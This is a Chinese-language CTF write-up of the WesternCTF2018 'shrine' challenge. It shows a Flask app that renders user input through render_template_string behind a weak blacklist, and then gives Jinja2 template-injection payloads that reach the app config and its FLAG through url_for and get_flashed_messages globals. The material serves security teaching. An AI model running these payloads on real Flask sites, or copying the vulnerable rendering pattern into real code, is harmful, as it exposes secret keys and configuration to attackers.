[WesternCTF2018]shrine
作者:互联网
考查点:SSTI模板注入,config配置文件,python的内置函数绕过黑名单
解题思路:
打开容器,如下代码
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])
+ s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
测试一下模板注入
/shrine/{{7*7}}
回显为49,验证了SSTI
分析一下代码:意思是注册了一个名字为‘FLAG’的config,同时这个题目把(),config,self都过滤掉了,并且黑名单设置的时候,替换为空。
那么可以使用python的内置函数url_for和get_flashed_messages
url_for
url_for.__globals__
回显
current_app就是当前下的app,接下来查看当前app下的config
/shrine/{{url_for.__globals__['current_app'].config}}
回显
其实也可以继续查看'FLAG'
/shrine/{{url_for.__globals__['current_app'].config.FLAG}}
回显
get_flashed_messages
用法和url_for一样
/shrine/{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
参考文章:
标签:__,url,app,WesternCTF2018,FLAG,shrine,config 来源: https://blog.csdn.net/RABCDXB/article/details/115842257